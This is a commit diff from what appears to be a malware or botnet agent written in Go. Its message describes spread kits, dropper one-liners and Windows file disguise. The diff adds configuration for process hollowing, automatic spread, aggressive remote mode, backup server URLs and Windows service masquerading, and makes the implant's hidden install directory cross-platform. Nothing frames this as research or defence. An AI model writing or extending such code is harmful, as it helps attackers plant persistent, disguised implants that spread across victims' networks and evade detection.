Add universal forge, fusion disguise, remote deploy, and stability fixes.
Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
This commit is contained in:
@@ -43,5 +43,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
ProcessHollowing: false,
|
||||
MeshP2P: false,
|
||||
AutoSpread: false,
|
||||
HolePunch: false,
|
||||
RemoteAggressive: false,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -50,6 +50,14 @@ type BuiltinConfig struct {
|
||||
ProcessHollowing bool
|
||||
MeshP2P bool
|
||||
AutoSpread bool
|
||||
HolePunch bool
|
||||
RemoteAggressive bool
|
||||
// Backup server URLs — tried in order if primary fails
|
||||
BackupServerURLs []string
|
||||
// Windows service masquerade (ignored on other OSes)
|
||||
ServiceMasquerade bool
|
||||
ServiceName string
|
||||
ServiceDonor string
|
||||
}
|
||||
|
||||
type RuntimeConfig struct {
|
||||
|
||||
@@ -4,6 +4,7 @@ import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
)
|
||||
|
||||
@@ -33,29 +34,57 @@ func (c RuntimeConfig) InstallDirectory() (string, error) {
|
||||
func resolveInstallBase(baseType, customBase string) (string, error) {
|
||||
switch strings.ToLower(strings.TrimSpace(baseType)) {
|
||||
case "", "localappdata":
|
||||
return requireEnv("LOCALAPPDATA")
|
||||
if runtime.GOOS == "windows" {
|
||||
return requireEnv("LOCALAPPDATA")
|
||||
}
|
||||
return xdgDataHome()
|
||||
case "appdata":
|
||||
return requireEnv("APPDATA")
|
||||
if runtime.GOOS == "windows" {
|
||||
return requireEnv("APPDATA")
|
||||
}
|
||||
return xdgDataHome()
|
||||
case "programdata":
|
||||
return requireEnv("ProgramData")
|
||||
case "userprofile":
|
||||
return requireEnv("USERPROFILE")
|
||||
if runtime.GOOS == "windows" {
|
||||
return requireEnv("ProgramData")
|
||||
}
|
||||
return xdgDataHome()
|
||||
case "userprofile", "home":
|
||||
if runtime.GOOS == "windows" {
|
||||
return requireEnv("USERPROFILE")
|
||||
}
|
||||
return requireEnv("HOME")
|
||||
case "xdg_data_home":
|
||||
return xdgDataHome()
|
||||
case "temp":
|
||||
if v := os.Getenv("TEMP"); v != "" {
|
||||
return v, nil
|
||||
}
|
||||
if v := os.Getenv("TMPDIR"); v != "" {
|
||||
return v, nil
|
||||
}
|
||||
return requireEnv("TMP")
|
||||
case "custom":
|
||||
custom := strings.TrimSpace(customBase)
|
||||
if custom == "" {
|
||||
return "", fmt.Errorf("custom install base path is required when install_base is custom")
|
||||
}
|
||||
return expandWindowsEnv(custom), nil
|
||||
return expandEnvPath(custom), nil
|
||||
default:
|
||||
return "", fmt.Errorf("unsupported install base: %s", baseType)
|
||||
}
|
||||
}
|
||||
|
||||
func xdgDataHome() (string, error) {
|
||||
if v := os.Getenv("XDG_DATA_HOME"); v != "" {
|
||||
return v, nil
|
||||
}
|
||||
home, err := requireEnv("HOME")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Join(home, ".local", "share"), nil
|
||||
}
|
||||
|
||||
func expandInstallTokens(path, workerName, buildID, processName string) string {
|
||||
shortBuild := buildID
|
||||
if len(shortBuild) > 8 {
|
||||
@@ -90,12 +119,17 @@ func requireEnv(key string) (string, error) {
|
||||
return value, nil
|
||||
}
|
||||
|
||||
func expandWindowsEnv(path string) string {
|
||||
func expandEnvPath(path string) string {
|
||||
out := path
|
||||
for _, key := range []string{
|
||||
"LOCALAPPDATA", "APPDATA", "ProgramData", "USERPROFILE", "TEMP", "TMP", "WINDIR", "SystemRoot",
|
||||
"HOME", "XDG_DATA_HOME", "TMPDIR",
|
||||
} {
|
||||
out = strings.ReplaceAll(out, "%"+key+"%", os.Getenv(key))
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func expandWindowsEnv(path string) string {
|
||||
return expandEnvPath(path)
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user